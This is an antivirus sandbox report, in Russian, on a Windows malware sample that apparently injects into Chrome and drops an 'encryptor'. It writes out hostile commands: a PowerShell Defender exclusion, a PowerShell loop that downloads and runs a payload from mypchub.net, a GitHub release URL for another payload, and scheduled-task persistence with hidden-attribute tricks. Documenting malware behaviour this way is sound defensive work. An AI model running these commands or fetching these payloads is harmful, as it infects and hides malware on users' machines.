Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'MyStartupFile' = '%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\file1.exe'
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\services64
- %APPDATA%\microsoft\windows\start menu\programs\startup\file1.exe
- <SYSTEM32>\tasks\mystartuptask
Устанавливает следующие настройки сервисов
- [HKLM\SYSTEM\CurrentControlSet\Services\WinRing0_1_2_0] 'ImagePath' = '%APPDATA%\Microsoft\Libs\WR64.sys'
Создает следующие сервисы
- 'WinRing0_1_2_0' %APPDATA%\Microsoft\Libs\WR64.sys
Вредоносные функции
Для затруднения выявления своего присутствия в системе
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath '%LOCALAPPDATA%'"
Загружает и запускает на исполнение
- $url как %temp%\wpvihœÿm38sqdðððñmfv87.exe
Запускает на исполнение
- '<SYSTEM32>\taskkill.exe' /f /im chrome.exe
Загружает
- https://github.com/mrsilencekill-boop/ffree/releases/download/f/ffree.exe как %localappdata%\file.exe
Внедряет код в
следующие системные процессы:
- <SYSTEM32>\conhost.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\_mei59482\vcruntime140.dll
- %TEMP%\_mei59482\_bz2.pyd
- %TEMP%\_mei59482\_ctypes.pyd
- %TEMP%\_mei59482\_decimal.pyd
- %TEMP%\_mei59482\_hashlib.pyd
- %TEMP%\_mei59482\_lzma.pyd
- %TEMP%\_mei59482\_socket.pyd
- %TEMP%\_mei59482\base_library.zip
- %TEMP%\_mei59482\libcrypto-3.dll
- %TEMP%\_mei59482\libffi-8.dll
- %TEMP%\_mei59482\myicon.ico
- %TEMP%\_mei59482\python313.dll
- %TEMP%\_mei59482\select.pyd
- %TEMP%\_mei59482\unicodedata.pyd
- %TEMP%\ejoibm2f
- %TEMP%\wpvihœÐÑm38sqdÐÐÐÑmfv87.exe
- %TEMP%\da91.tmp\da92.tmp\da93.bat
- %LOCALAPPDATA%\file.exe
- %TEMP%\_mei8042\vcruntime140.dll
- %TEMP%\_mei8042\vcruntime140_1.dll
- %TEMP%\_mei8042\_bz2.pyd
- %TEMP%\_mei8042\_ctypes.pyd
- %TEMP%\_mei8042\_decimal.pyd
- %TEMP%\_mei8042\_hashlib.pyd
- %TEMP%\_mei8042\_lzma.pyd
- %TEMP%\_mei8042\_socket.pyd
- %TEMP%\_mei8042\_ssl.pyd
- %TEMP%\_mei8042\_zstd.pyd
- %TEMP%\_mei8042\api-ms-win-core-console-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-datetime-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-debug-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-errorhandling-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-fibers-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-file-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\_mei8042\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-handle-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-heap-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-interlocked-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-libraryloader-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\_mei8042\api-ms-win-core-memory-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-namedpipe-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-processenvironment-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-processthreads-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\_mei8042\api-ms-win-core-profile-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-rtlsupport-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-string-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-synch-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\_mei8042\api-ms-win-core-sysinfo-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-util-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\_mei8042\base_library.zip
- %TEMP%\_mei8042\libcrypto-3.dll
- %TEMP%\_mei8042\libffi-8.dll
- %TEMP%\_mei8042\libssl-3.dll
- %TEMP%\_mei8042\python314.dll
- %TEMP%\_mei8042\pywin32_system32\pywintypes314.dll
- %TEMP%\_mei8042\select.pyd
- %TEMP%\_mei8042\ucrtbase.dll
- %TEMP%\_mei8042\unicodedata.pyd
- %TEMP%\_mei8042\win32\win32api.pyd
- %TEMP%\_mei8042\win32\win32console.pyd
- %TEMP%\_mei8042\win32\win32gui.pyd
- %TEMP%\file1.exe
- %TEMP%\file2.exe
- %TEMP%\_mei25442\vcruntime140.dll
- %TEMP%\_mei25442\_asyncio.pyd
- %TEMP%\_mei25442\_bz2.pyd
- %TEMP%\_mei25442\_cffi_backend.cp313-win_amd64.pyd
- %TEMP%\_mei25442\_ctypes.pyd
- %TEMP%\_mei25442\_decimal.pyd
- %TEMP%\_mei25442\_hashlib.pyd
- %TEMP%\_mei25442\_lzma.pyd
- %TEMP%\_mei25442\_multiprocessing.pyd
- %TEMP%\_mei25442\_overlapped.pyd
- %TEMP%\_mei25442\_queue.pyd
- %TEMP%\_mei25442\_socket.pyd
- %TEMP%\_mei25442\_ssl.pyd
- %TEMP%\_mei25442\api-ms-win-core-console-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-datetime-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-debug-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-errorhandling-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-fibers-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-fibers-l1-1-1.dll
- %TEMP%\_mei25442\api-ms-win-core-file-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\_mei25442\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-handle-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-heap-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-interlocked-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-kernel32-legacy-l1-1-1.dll
- %TEMP%\_mei25442\api-ms-win-core-libraryloader-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\_mei25442\api-ms-win-core-memory-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-namedpipe-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-processenvironment-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-processthreads-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\_mei25442\api-ms-win-core-profile-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-rtlsupport-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-string-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-synch-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\_mei25442\api-ms-win-core-sysinfo-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-sysinfo-l1-2-0.dll
- %TEMP%\_mei25442\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-util-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\_mei25442\base_library.zip
- %TEMP%\_mei25442\certifi\cacert.pem
- %TEMP%\_mei25442\charset_normalizer\md.cp313-win_amd64.pyd
- %TEMP%\_mei25442\charset_normalizer\md__mypyc.cp313-win_amd64.pyd
- %TEMP%\_mei25442\cryptography-45.0.5.dist-info\installer
- %TEMP%\_mei25442\cryptography-45.0.5.dist-info\metadata
- %TEMP%\_mei25442\cryptography-45.0.5.dist-info\record
- %TEMP%\_mei25442\cryptography-45.0.5.dist-info\wheel
- %TEMP%\_mei25442\cryptography-45.0.5.dist-info\licenses\license
- %TEMP%\_mei25442\cryptography-45.0.5.dist-info\licenses\license.apache
- %TEMP%\_mei25442\cryptography-45.0.5.dist-info\licenses\license.bsd
- %TEMP%\_mei25442\cryptography\hazmat\bindings\_rust.pyd
- %TEMP%\_mei25442\h2-4.2.0.dist-info\installer
- %TEMP%\_mei25442\h2-4.2.0.dist-info\license
- %TEMP%\_mei25442\h2-4.2.0.dist-info\metadata
- %TEMP%\_mei25442\h2-4.2.0.dist-info\record
- %TEMP%\_mei25442\h2-4.2.0.dist-info\wheel
- %TEMP%\_mei25442\h2-4.2.0.dist-info\top_level.txt
- %TEMP%\_mei25442\libcrypto-3.dll
- %TEMP%\_mei25442\libffi-8.dll
- %TEMP%\_mei25442\libssl-3.dll
- %TEMP%\_mei25442\pyexpat.pyd
- %TEMP%\_mei25442\python3.dll
- %TEMP%\_mei25442\python313.dll
- %TEMP%\_mei25442\select.pyd
- %TEMP%\_mei25442\ucrtbase.dll
- %TEMP%\_mei25442\unicodedata.pyd
- %APPDATA%\mypythonapp\payload.zip
- %APPDATA%\mypythonapp\payload\chrome_inject_arm64.exe
- %APPDATA%\mypythonapp\payload\chrome_inject_x64.exe
- %APPDATA%\mypythonapp\payload\encryptor.exe
- %ProgramFiles%\google\chrome\application\chrome_inject_arm64.exe
- %ProgramFiles%\google\chrome\application\chrome_inject_x64.exe
- %ProgramFiles%\google\chrome\application\encryptor.exe
Присваивает атрибут 'скрытый' для следующих файлов
- %LOCALAPPDATA%\file.exe
- %TEMP%\wpvihœÐÑm38sqdÐÐÐÑmfv87.exe
- %TEMP%\file1.exe
- %TEMP%\file2.exe
Удаляет файлы, которые сам же создал
- %TEMP%\ejoibm2f
- %TEMP%\da91.tmp\da92.tmp\da93.bat
- %TEMP%\wpvihœÐÑm38sqdÐÐÐÑmfv87.exe
- %TEMP%\_mei59482\base_library.zip
- %TEMP%\_mei59482\libcrypto-3.dll
- %TEMP%\_mei59482\libffi-8.dll
- %TEMP%\_mei59482\myicon.ico
- %TEMP%\_mei59482\python313.dll
- %TEMP%\_mei59482\select.pyd
- %TEMP%\_mei59482\unicodedata.pyd
- %TEMP%\_mei59482\vcruntime140.dll
- %TEMP%\_mei59482\_bz2.pyd
- %TEMP%\_mei59482\_ctypes.pyd
- %TEMP%\_mei59482\_decimal.pyd
- %TEMP%\_mei59482\_hashlib.pyd
- %TEMP%\_mei59482\_lzma.pyd
- %TEMP%\_mei59482\_socket.pyd
- %APPDATA%\mypythonapp\payload.zip
- %APPDATA%\mypythonapp\payload\chrome_inject_arm64.exe
- %APPDATA%\mypythonapp\payload\chrome_inject_x64.exe
- %APPDATA%\mypythonapp\payload\encryptor.exe
- %ProgramFiles%\google\chrome\application\chrome_inject_x64.exe
- %ProgramFiles%\google\chrome\application\chrome_inject_arm64.exe
- %ProgramFiles%\google\chrome\application\encryptor.exe
- %TEMP%\_mei25442\api-ms-win-core-console-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-datetime-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-debug-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-errorhandling-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-fibers-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-fibers-l1-1-1.dll
- %TEMP%\_mei25442\api-ms-win-core-file-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\_mei25442\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-handle-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-heap-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-interlocked-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-kernel32-legacy-l1-1-1.dll
- %TEMP%\_mei25442\api-ms-win-core-libraryloader-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\_mei25442\api-ms-win-core-memory-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-namedpipe-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-processenvironment-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-processthreads-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\_mei25442\api-ms-win-core-profile-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-rtlsupport-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-string-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-synch-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\_mei25442\api-ms-win-core-sysinfo-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-sysinfo-l1-2-0.dll
- %TEMP%\_mei25442\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-core-util-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\_mei25442\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\_mei25442\base_library.zip
- %TEMP%\_mei25442\certifi\cacert.pem
- %TEMP%\_mei25442\charset_normalizer\md.cp313-win_amd64.pyd
- %TEMP%\_mei25442\charset_normalizer\md__mypyc.cp313-win_amd64.pyd
- %TEMP%\_mei25442\cryptography\hazmat\bindings\_rust.pyd
- %TEMP%\_mei25442\cryptography-45.0.5.dist-info\installer
- %TEMP%\_mei25442\cryptography-45.0.5.dist-info\licenses\license
- %TEMP%\_mei25442\cryptography-45.0.5.dist-info\licenses\license.apache
- %TEMP%\_mei25442\cryptography-45.0.5.dist-info\licenses\license.bsd
- %TEMP%\_mei25442\cryptography-45.0.5.dist-info\metadata
- %TEMP%\_mei25442\cryptography-45.0.5.dist-info\record
- %TEMP%\_mei25442\cryptography-45.0.5.dist-info\wheel
- %TEMP%\_mei25442\h2-4.2.0.dist-info\installer
- %TEMP%\_mei25442\h2-4.2.0.dist-info\license
- %TEMP%\_mei25442\h2-4.2.0.dist-info\metadata
- %TEMP%\_mei25442\h2-4.2.0.dist-info\record
- %TEMP%\_mei25442\h2-4.2.0.dist-info\top_level.txt
- %TEMP%\_mei25442\h2-4.2.0.dist-info\wheel
- %TEMP%\_mei25442\libcrypto-3.dll
- %TEMP%\_mei25442\libffi-8.dll
- %TEMP%\_mei25442\libssl-3.dll
- %TEMP%\_mei25442\pyexpat.pyd
- %TEMP%\_mei25442\python3.dll
- %TEMP%\_mei25442\python313.dll
- %TEMP%\_mei25442\select.pyd
- %TEMP%\_mei25442\ucrtbase.dll
- %TEMP%\_mei25442\unicodedata.pyd
- %TEMP%\_mei25442\vcruntime140.dll
- %TEMP%\_mei25442\_asyncio.pyd
- %TEMP%\_mei25442\_bz2.pyd
- %TEMP%\_mei25442\_cffi_backend.cp313-win_amd64.pyd
- %TEMP%\_mei25442\_ctypes.pyd
- %TEMP%\_mei25442\_decimal.pyd
- %TEMP%\_mei25442\_hashlib.pyd
- %TEMP%\_mei25442\_lzma.pyd
- %TEMP%\_mei25442\_multiprocessing.pyd
- %TEMP%\_mei25442\_overlapped.pyd
- %TEMP%\_mei25442\_queue.pyd
- %TEMP%\_mei25442\_socket.pyd
- %TEMP%\_mei25442\_ssl.pyd
- %TEMP%\_mei8042\api-ms-win-core-console-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-datetime-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-debug-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-errorhandling-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-fibers-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-file-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\_mei8042\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-handle-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-heap-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-interlocked-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-libraryloader-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\_mei8042\api-ms-win-core-memory-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-namedpipe-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-processenvironment-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-processthreads-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\_mei8042\api-ms-win-core-profile-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-rtlsupport-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-string-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-synch-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\_mei8042\api-ms-win-core-sysinfo-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-core-util-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\_mei8042\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\_mei8042\base_library.zip
- %TEMP%\_mei8042\libcrypto-3.dll
- %TEMP%\_mei8042\libffi-8.dll
- %TEMP%\_mei8042\libssl-3.dll
- %TEMP%\_mei8042\python314.dll
- %TEMP%\_mei8042\pywin32_system32\pywintypes314.dll
- %TEMP%\_mei8042\select.pyd
- %TEMP%\_mei8042\ucrtbase.dll
- %TEMP%\_mei8042\unicodedata.pyd
- %TEMP%\_mei8042\vcruntime140.dll
- %TEMP%\_mei8042\vcruntime140_1.dll
- %TEMP%\_mei8042\win32\win32api.pyd
- %TEMP%\_mei8042\win32\win32console.pyd
- %TEMP%\_mei8042\win32\win32gui.pyd
- %TEMP%\_mei8042\_bz2.pyd
- %TEMP%\_mei8042\_ctypes.pyd
- %TEMP%\_mei8042\_decimal.pyd
- %TEMP%\_mei8042\_hashlib.pyd
- %TEMP%\_mei8042\_lzma.pyd
- %TEMP%\_mei8042\_socket.pyd
- %TEMP%\_mei8042\_ssl.pyd
- %TEMP%\_mei8042\_zstd.pyd
Сетевая активность
Подключается к
- 'my##hub.net':443
- 'x1.#.lencr.org':80
- 'in######ank.wifi4gamess.com':443
- 'gi##ub.com':443
- 're#########ets.githubusercontent.com':443
TCP
Запросы HTTP GET
- http://x1.#.lencr.org/
Другие
- 'my##hub.net':443
- 'es.###i4gamess.com':443
- 'gi##ub.com':443
- 're#########ets.githubusercontent.com':443
UDP
- DNS ASK my##hub.net
- DNS ASK x1.#.lencr.org
- DNS ASK in######ank.wifi4gamess.com
- DNS ASK es.###i4gamess.com
- DNS ASK gi##ub.com
- DNS ASK re#########ets.githubusercontent.com
- DNS ASK po##.#ashvault.pro
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
Создает и запускает на исполнение
- '%TEMP%\wpvihœÐÑm38sqdÐÐÐÑmfv87.exe' /S /silent /verysilent
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Start-Process '%LOCALAPPDATA%\file.exe' -Verb runAs"
- '%LOCALAPPDATA%\file.exe'
- '%TEMP%\file1.exe'
- '%TEMP%\file2.exe'
- '%ProgramFiles%\google\chrome\application\chrome_inject_x64.exe' chrome --verbose
- '%TEMP%\services64.exe'
- '%APPDATA%\microsoft\libs\sihost64.exe'
Перезапускает анализируемый образец
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\wPVIHœŸM38SqdÐÐÐÑmFv87.exe /S /silent /verysilent" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\DA91.tmp\DA92.tmp\DA93.bat %TEMP%\wPVIHœŸM38SqdÐÐÐÑmFv87.exe /S /silent /verysilent" (со скрытым окном)
- '<SYSTEM32>\attrib.exe' +h %LOCALAPPDATA%\file.exe
- '<SYSTEM32>\cmd.exe' /c attrib +h "%TEMP%\wPVIHœŸM38SqdÐÐÐÑmFv87.exe" >nul 2>&1
- '<SYSTEM32>\attrib.exe' +h "%TEMP%\wPVIHœŸM38SqdÐÐÐÑmFv87.exe"
- '<SYSTEM32>\cmd.exe' /c "schtasks /create /tn MyStartupTask /tr %TEMP%\file1.exe /sc onlogon /rl highest /f" (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /create /tn MyStartupTask /tr %TEMP%\file1.exe /sc onlogon /rl highest /f
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nop -c " [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; $urls = @(\"https://mypchub.net/installbank\"); foreach ($url in $urls) { ... (со скрытым окном)
- '%TEMP%\file1.exe' (со скрытым окном)
- '%TEMP%\file2.exe' (со скрытым окном)
- '%APPDATA%\microsoft\libs\sihost64.exe' (со скрытым окном)
